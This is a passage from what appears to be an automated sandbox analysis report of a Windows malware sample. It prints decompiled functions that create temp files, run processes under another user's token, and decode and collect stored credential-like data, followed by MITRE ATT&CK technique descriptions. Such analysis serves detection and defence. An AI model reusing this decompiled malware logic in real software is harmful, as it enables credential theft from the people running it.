						_t20 = _t20 + 1;
						if(_t20 < 0x64) {
							continue;
						}
						goto L6;
					} else {
						return 1;
					}
				}
				goto L6;
			}

0x00413682
0x004136dc
0x00000000
0x004136dc
0x00413684
0x00413686
0x00413686
0x0041368e
0x0041368f
0x0041369e
0x004136a4
0x004136a9
0x004136af
0x00000000
0x00000000
0x004136c4
0x004136d6
0x004136da
0x00000000
0x00000000
0x00000000
0x004136e4
0x00000000
0x004136e4
0x004136c4
0x00000000

APIs

GetTempPathW.KERNEL32(000000F6,?), ref: 00413676

Part of subcall function 0040F56E: GetTickCount.KERNEL32 ref: 0040F56E

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

Part of subcall function 00413495: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,00000000,00000000,?,004136D2,?,00000000,00000000,?,?), ref: 004134AF
Part of subcall function 00413495: WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,004136D2,?,00000000,00000000,?,?), ref: 004134D2
Part of subcall function 00413495: CloseHandle.KERNEL32(00000000,?,004136D2,?,00000000,00000000,?,?), ref: 004134DF

Strings

tmp, xrefs: 0041368F
%s%08x.%s, xrefs: 00413694

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePath$CloseCombineCountCreateHandleTempTickWrite
String ID: %s%08x.%s$tmp
API String ID: 3395140874-234517578
Opcode ID: 19cdb1d9e56339196c98efd2cf5da6c9a4d52ff0bacbe9d19c653905944cb154
Instruction ID: 1056fa2ffed9d707eb31f0c484abdd8870f77356dfa44e5ba95219aed7c37f67
Opcode Fuzzy Hash: 19cdb1d9e56339196c98efd2cf5da6c9a4d52ff0bacbe9d19c653905944cb154
Instruction Fuzzy Hash: FA0126B120021837EE306E259C06BEF7715DB81365F100173FE64BA2E2D279AEC6869C

Uniqueness

Uniqueness Score: -1.00%

Function 00411F96, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411F96(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v524;
				void* __esi;
				WCHAR* _t17;
				intOrPtr _t25;
				int _t27;

				_t27 = 0;
				if(GetTempFileNameW(_a12 + 0x746, L"cab", 0,  &_v524) != 0 && E0041363E( &_v524) != 0) {
					_t17 = PathFindFileNameW( &_v524);
					_t25 = _a4;
					E0040E3B4(_a8 + 0xfffffffd | 0xffffffff, _t17, _t25 + 3, 0, _a8 + 0xfffffffd);
					E0040E271(_t25, "?T", 2);
					 *((char*)(_t25 + 2)) = 0x5c;
					_t27 = 1;
				}
				return _t27;
			}

0x00411faa
0x00411fc0
0x00411fda
0x00411fe0
0x00411ff4
0x00412001
0x00412008
0x0041200c
0x0041200d
0x00412012

APIs

GetTempFileNameW.KERNEL32(?,cab,00000000,?), ref: 00411FB8

Part of subcall function 0041363E: SetFileAttributesW.KERNEL32(00000080,00000080,004063BE,?), ref: 00413647
Part of subcall function 0041363E: DeleteFileW.KERNEL32(?), ref: 00413651

PathFindFileNameW.SHLWAPI(?,?,?), ref: 00411FDA

Part of subcall function 0040E3B4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,0040F0AC,00000000,00000000,00000000,0040E411,00000000,00000000,00000000,?,00000000), ref: 0040E3CF

Strings

cab, xrefs: 00411FAD

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Name$AttributesByteCharDeleteFindMultiPathTempWide
String ID: cab
API String ID: 2491076439-1787492089
Opcode ID: 4418912da36e7ce47fb6448935f5333123722a35aa420b6b720ec97337a15fd2
Instruction ID: 91a874f54a5ebc3d6251fe404475abf0f8c3ce9139cb3b3f7612561502cafbb0
Opcode Fuzzy Hash: 4418912da36e7ce47fb6448935f5333123722a35aa420b6b720ec97337a15fd2
Instruction Fuzzy Hash: 09012B7260021467DB209B79CC09FCB7BAC9F44754F0003617A24F31C2DA78D94587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041C909, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0041C909(void* __ecx, void* __esi, void* _a4, void* _a8, void* _a12, intOrPtr _a16) {
				void* _t13;
				void** _t24;
				void* _t27;

				_t13 = _a4(_a8,  &_a8);
				if(_t13 != 0) {
					_t24 = E00411A2F(__ecx, _a8);
					if(_t24 != 0) {
						if(EqualSid( *_t24, _a12) != 0) {
							_t27 = _a8;
							if(E0040EFA3( &_a4, L"\"%s\"", _a16) > 0) {
								E0040FBAD(_t27, _a4);
								E0040E235(_a4);
							}
						}
						E0040E235(_t24);
					}
					return CloseHandle(_a8);
				}
				return _t13;
			}

0x0041c913
0x0041c918
0x0041c923
0x0041c927
0x0041c936
0x0041c93c
0x0041c952
0x0041c958
0x0041c960
0x0041c960
0x0041c965
0x0041c967
0x0041c967
0x00000000
0x0041c975
0x0041c977

APIs

Part of subcall function 00411A2F: GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000,73BB8170,00000000,?,?,0040F86E,?,?,?,0040517F,000000FF,004222B8), ref: 00411A48
Part of subcall function 00411A2F: GetLastError.KERNEL32(?,?,0040F86E,?,?,?,0040517F,000000FF,004222B8), ref: 00411A4E
Part of subcall function 00411A2F: GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000,?,?,0040F86E,?,?,?,0040517F,000000FF,004222B8), ref: 00411A74

EqualSid.ADVAPI32(00000000,00000000,?,00000000,?,0041CA63,00000000,?,?,?), ref: 0041C92E

Part of subcall function 0040FBAD: lstrcpyA.KERNEL32(?,vtfsfow/emm,00000000), ref: 0040FBC2
Part of subcall function 0040FBAD: LoadLibraryA.KERNEL32(?), ref: 0040FBDB
Part of subcall function 0040FBAD: GetProcAddress.KERNEL32(00000000,CreateEnvironmentBlock), ref: 0040FBFA
Part of subcall function 0040FBAD: GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 0040FC06
Part of subcall function 0040FBAD: CreateProcessAsUserW.ADVAPI32(?,00000000,0041C95D,00000000,00000000,00000000,0041C95D,0041C95D,00000000,?,?,?,00000000,00000044), ref: 0040FC77
Part of subcall function 0040FBAD: CloseHandle.KERNEL32(?), ref: 0040FC8A
Part of subcall function 0040FBAD: CloseHandle.KERNEL32(?), ref: 0040FC8F
Part of subcall function 0040FBAD: FreeLibrary.KERNEL32(?), ref: 0040FCA6

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

CloseHandle.KERNEL32(?,?,00000000,?,0041CA63,00000000,?,?,?), ref: 0041C96F

Strings

"%s", xrefs: 0041C942

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$AddressFreeInformationLibraryProcToken$CreateEqualErrorHeapLastLoadProcessUserlstrcpy
String ID: "%s"
API String ID: 3591978091-3297466227
Opcode ID: ca23097c085147d2cb6552a67a544fc80022e90bb254a18ae014be4df6c194a4
Instruction ID: 51020a607fe099ebb97d91fa82f677ddc1c4193835fe2e7bc77dd6a1364d1dad
Opcode Fuzzy Hash: ca23097c085147d2cb6552a67a544fc80022e90bb254a18ae014be4df6c194a4
Instruction Fuzzy Hash: ADF06D72140109BBCF122F22EC05EDF3F2DAF44790B04803AFC08B5161DB39CA619B98

Uniqueness

Uniqueness Score: -1.00%

Function 00410419, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410419(intOrPtr __eax, void* __eflags) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char* _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				void* __edi;
				intOrPtr _t26;

				_t26 = 0;
				_v56 = 0x101;
				_v52 = 0;
				_v48 = __eax;
				_v44 = E00410398();
				_v40 = "http://www.google.com/webhp";
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0x80000;
				_v12 = 0;
				_v8 = GetTickCount();
				if(E00410263( &_v56, 0) != 0) {
					_t26 = GetTickCount() - _v8;
				}
				E0040E235(_v44);
				return _t26;
			}

0x00410421
0x00410424
0x0041042a
0x0041042d
0x0041043b
0x0041043e
0x00410445
0x00410448
0x0041044b
0x0041044e
0x00410451
0x00410454
0x0041045b
0x00410464
0x0041046e
0x00410474
0x00410474
0x0041047a
0x00410485

APIs

Part of subcall function 00410398: LoadLibraryA.KERNEL32(urlmon.dll,00000000), ref: 004103A9
Part of subcall function 00410398: GetProcAddress.KERNEL32(00000000,ObtainUserAgentString), ref: 004103BC
Part of subcall function 00410398: FreeLibrary.KERNEL32(?), ref: 0041040E

GetTickCount.KERNEL32 ref: 0041045E

Part of subcall function 00410263: WaitForSingleObject.KERNEL32(?,?,?,?,00000000), ref: 004102B7

GetTickCount.KERNEL32 ref: 00410470

Strings

http://www.google.com/webhp, xrefs: 0041043E

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CountLibraryTick$AddressFreeLoadObjectProcSingleWait
String ID: http://www.google.com/webhp
API String ID: 1315724709-2670330958
Opcode ID: 0c34726d525d075de52898d4f82bc71d3a299464b45831119e33fe4565484f8a
Instruction ID: 52c3a36a308eee63efded90ab7dbdafa362665788b55899be2b05136bf22c01d
Opcode Fuzzy Hash: 0c34726d525d075de52898d4f82bc71d3a299464b45831119e33fe4565484f8a
Instruction Fuzzy Hash: 4D0196B1D11228AACF00DFE9D9455DEFBB8BF48758F10455BE900B7210D3B45A458FE9

Uniqueness

Uniqueness Score: -1.00%

Function 00413617, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(RBA,RBA,?,?,?,00414252,00000000), ref: 00413623

Strings

RBA, xrefs: 0041361C, 0041361F
RBA, xrefs: 00413620

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: FileSize
String ID: RBA$RBA
API String ID: 3433856609-2379834184
Opcode ID: 565059406c36afca8921e268cf0b954f8acb1fa357e260560f92690d13a90781
Instruction ID: 5524009bb8fcdfa9ee2d4222ef26450c8ec2a16cec2ececc178ab5c6b5800f8a
Opcode Fuzzy Hash: 565059406c36afca8921e268cf0b954f8acb1fa357e260560f92690d13a90781
Instruction Fuzzy Hash: 84D05EB1700148BBAB14CF59CD00CDF7BBEEB40365B148265B51192390D774EF439664

Uniqueness

Uniqueness Score: -1.00%

Function 0041ADC0, Relevance: 5.2, APIs: 4, Instructions: 197
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041ADC0(void* __ecx, signed char* __edx, void* __eflags, intOrPtr _a4) {
				char _v524;
				char _v576;
				char _v580;
				char _v588;
				intOrPtr _v608;
				char _v612;
				char _v620;
				char _v628;
				char _v632;
				char* _v640;
				signed int _v644;
				char* _v648;
				char** _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				char* _v664;
				char* _v668;
				char* _v672;
				char* _v676;
				void* __edi;
				void* __esi;
				signed int _t82;
				char* _t83;
				intOrPtr _t85;
				char** _t101;
				char* _t112;
				char* _t121;
				char* _t122;
				void* _t123;
				char* _t126;
				char* _t127;
				char* _t156;
				void* _t157;
				signed int _t166;
				char* _t167;
				char** _t168;
				intOrPtr _t170;
				char* _t171;
				signed int _t172;
				void* _t174;

				_t174 = (_t172 & 0xfffffff8) - 0x294;
				if(E00413B62( &(__edx[0x2c]),  &_v524, __ecx) == 0) {
					L31:
					return 1;
				}
				_t177 =  *__edx & 0x00000010;
				if(( *__edx & 0x00000010) == 0) {
					_push( &_v524);
					_t82 = 2;
					_t83 = E004134FA(_t82,  &_v524,  &_v612);
					__eflags = _t83;
					if(_t83 == 0) {
						goto L31;
					}
					_t85 = E0040EAD0(_v608,  &_v652, _v612, 1, 0);
					_v660 = _t85;
					__eflags = _t85 - 0xffffffff;
					if(_t85 == 0xffffffff) {
						L30:
						E004135A0( &_v612);
						goto L31;
					}
					_v640 = E0040E205(0x622);
					E0040734E(0x91,  &_v588);
					E0040734E(0x92,  &_v628);
					E0040734E(0x93,  &_v620);
					E0040734E(0x94,  &_v576);
					__eflags = _v640;
					if(_v640 == 0) {
						L29:
						E0040E235(_v640);
						E0040E251(_v652, _v656);
						goto L30;
					}
					_v644 = 0;
					__eflags = _v648;
					if(_v648 > 0) {
						do {
							_t166 = _v644;
							_t101 = _v652;
							__eflags =  *(_t101 + _t166 * 4);
							if( *(_t101 + _t166 * 4) == 0) {
								goto L28;
							}
							_v664 = StrStrIA( *(_t101 + _t166 * 4),  &_v588);
							_t156 = StrStrIA( *(_v656 + _t166 * 4),  &_v632);
							_v668 = StrStrIA( *(_v660 + _t166 * 4),  &_v628);
							_t112 = StrStrIA( *(_v664 + _t166 * 4),  &_v588);
							__eflags = _v676;
							_t167 = _t112;
							if(_v676 == 0) {
								goto L28;
							}
							__eflags = _v672;
							if(_v672 == 0) {
								goto L28;
							}
							__eflags = _t167;
							if(_t167 == 0) {
								goto L28;
							}
							_v676 =  &(_v676[8]);
							_v672 =  &(_v672[6]);
							_t168 =  &(_t167[0xa]);
							_v652 = _t168;
							E0041ADA6();
							E0041ADA6();
							E0041ADA6();
							__eflags = _t156;
							if(_t156 == 0) {
								L15:
								_t157 = 0x15;
								L16:
								__eflags =  *_v676;
								if( *_v676 == 0) {
									goto L28;
								}
								__eflags =  *_v672;
								if( *_v672 == 0) {
									goto L28;
								}
								_t121 =  *_t168;
								__eflags = _t121;
								if(_t121 == 0) {
									goto L28;
								}
								__eflags = _t121 - 0x30;
								if(_t121 == 0x30) {
									L21:
									__eflags = _t168[0];
									if(_t168[0] == 0) {
										goto L28;
									}
									L22:
									_t122 = 0;
									__eflags =  *_t168;
									if( *_t168 == 0) {
										goto L28;
									} else {
										goto L23;
									}
									do {
										L23:
										_t122[_t168] = _t122[_t168] ^ 0x00000019;
										_t122 =  &(_t122[1]);
										__eflags = _t122[_t168];
									} while (_t122[_t168] != 0);
									__eflags = _t122;
									if(_t122 > 0) {
										_t169 =  &_v580;
										_t123 = 0x57;
										E00407384(_t123,  &_v580);
										_push(_t157);
										_push(_v676);
										_t158 = _v656;
										_push(_v652);
										_push(_v672);
										_t126 = E0040EF28(_t169, 0x311, _v656, _t169);
										_t174 = _t174 + 0x14;
										__eflags = _t126;
										if(_t126 > 0) {
											_t170 = _a4;
											_t127 = E0040E629(_t126, _t170, _t158);
											__eflags = _t127;
											if(_t127 != 0) {
												_t68 = _t170 + 4;
												 *_t68 =  &(( *(_t170 + 4))[1]);
												__eflags =  *_t68;
											}
										}
									}
									goto L28;
								}
								__eflags = _t121 - 0x31;
								if(_t121 != 0x31) {
									goto L22;
								}
								goto L21;
							}
							_v648 =  &(_t156[6]);
							E0041ADA6();
							_t157 = E0040E8B4(_v648,  &_v588, 0);
							__eflags = _t157 - 1;
							if(_t157 < 1) {
								goto L15;
							}
							__eflags = _t157 - 0xffff;
							if(_t157 <= 0xffff) {
								goto L16;
							}
							goto L15;
							L28:
							_v644 = _v644 + 1;
							__eflags = _v644 - _v648;
						} while (_v644 < _v648);
					}
					goto L29;
				} else {
					_t171 =  &_v612;
					E00407384(0x90, _t171);
					_v648 = _t171;
					E00413A0C( &_v524,  &_v648, _t177, 1, 5, E0041ADC0, _a4, 0, 0, 0);
					goto L31;
				}
			}

0x0041adc6
0x0041ade4
0x0041b044
0x0041b04c
0x0041b04c
0x0041adea
0x0041aded
0x0041ae30
0x0041ae33
0x0041ae38
0x0041ae3d
0x0041ae3f
0x00000000
0x00000000
0x0041ae56
0x0041ae5b
0x0041ae5f
0x0041ae62
0x0041b03b
0x0041b03f
0x00000000
0x0041b03f
0x0041ae72
0x0041ae7f
0x0041ae8d
0x0041ae9b
0x0041aea9
0x0041aeae
0x0041aeb2
0x0041b025
0x0041b029
0x0041b036
0x00000000
0x0041b036
0x0041aeb8
0x0041aebc
0x0041aec0
0x0041aecc
0x0041aecc
0x0041aed0
0x0041aed4
0x0041aed8
0x00000000
0x00000000
0x0041aee8
0x0041aefa
0x0041af0a
0x0041af1a
0x0041af1c
0x0041af21
0x0041af23
0x00000000
0x00000000
0x0041af29
0x0041af2e
0x00000000
0x00000000
0x0041af34
0x0041af36
0x00000000
0x00000000
0x0041af3c
0x0041af45
0x0041af4a
0x0041af4d
0x0041af51
0x0041af5a
0x0041af61
0x0041af66
0x0041af68
0x0041af92
0x0041af94
0x0041af95
0x0041af99
0x0041af9c
0x00000000
0x00000000
0x0041afa2
0x0041afa5
0x00000000
0x00000000
0x0041afa7
0x0041afa9
0x0041afab
0x00000000
0x00000000
0x0041afad
0x0041afaf
0x0041afb5
0x0041afb5
0x0041afb9
0x00000000
0x00000000
0x0041afbb
0x0041afbb
0x0041afbd
0x0041afbf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041afc1
0x0041afc1
0x0041afc1
0x0041afc5
0x0041afc6
0x0041afc6
0x0041afcc
0x0041afce
0x0041afd2
0x0041afd6
0x0041afd7
0x0041afdc
0x0041afdd
0x0041afe1
0x0041afe5
0x0041afeb
0x0041aff5
0x0041affa
0x0041affd
0x0041afff
0x0041b001
0x0041b007
0x0041b00c
0x0041b00e
0x0041b010
0x0041b010
0x0041b010
0x0041b010
0x0041b00e
0x0041afff
0x00000000
0x0041afce
0x0041afb1
0x0041afb3
0x00000000
0x00000000
0x00000000
0x0041afb3
0x0041af6f
0x0041af73
0x0041af83
0x0041af85
0x0041af88
0x00000000
0x00000000
0x0041af8a
0x0041af90
0x00000000
0x00000000
0x00000000
0x0041b013
0x0041b013
0x0041b01b
0x0041b01b
0x0041aecc
0x00000000
0x0041adef
0x0041adef
0x0041adf8
0x0041adff
0x0041ae1f
0x00000000
0x0041ae1f

APIs

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

StrStrIA.SHLWAPI(?,?,?,00000001,00000000,?,?), ref: 0041AEE6
StrStrIA.SHLWAPI(?,?), ref: 0041AEF8
StrStrIA.SHLWAPI(?,?), ref: 0041AF08
StrStrIA.SHLWAPI(?,?), ref: 0041AF1A

Part of subcall function 00413A0C: FindFirstFileW.KERNEL32(?,?,?,?,00000000,?,80000001), ref: 00413A49
Part of subcall function 00413A0C: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00413A6A
Part of subcall function 00413A0C: PathMatchSpecW.SHLWAPI(?,?), ref: 00413AB0
Part of subcall function 00413A0C: Sleep.KERNEL32(00000000,?,?), ref: 00413B11
Part of subcall function 00413A0C: FindNextFileW.KERNEL32(?,?), ref: 00413B41
Part of subcall function 00413A0C: FindClose.KERNEL32(?), ref: 00413B53

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$FilePath$CloseCombineFirstMatchNextObjectSingleSleepSpecWait
String ID:
API String ID: 1075381090-0
Opcode ID: d14a3c7531320a0bd689c5ac07d2afe303697fa372f00540b6db00ec41e81186
Instruction ID: a5bcf324ff4bb461007aa5ddc916ec1d1ba67ffa90ed27a2e8864eb2c86bd88e
Opcode Fuzzy Hash: d14a3c7531320a0bd689c5ac07d2afe303697fa372f00540b6db00ec41e81186
Instruction Fuzzy Hash: 33716A715083419FD721DF25C845B9FBBE5AF88304F00092EF894A7292D739E986CB9B

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Digital certificate logs, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
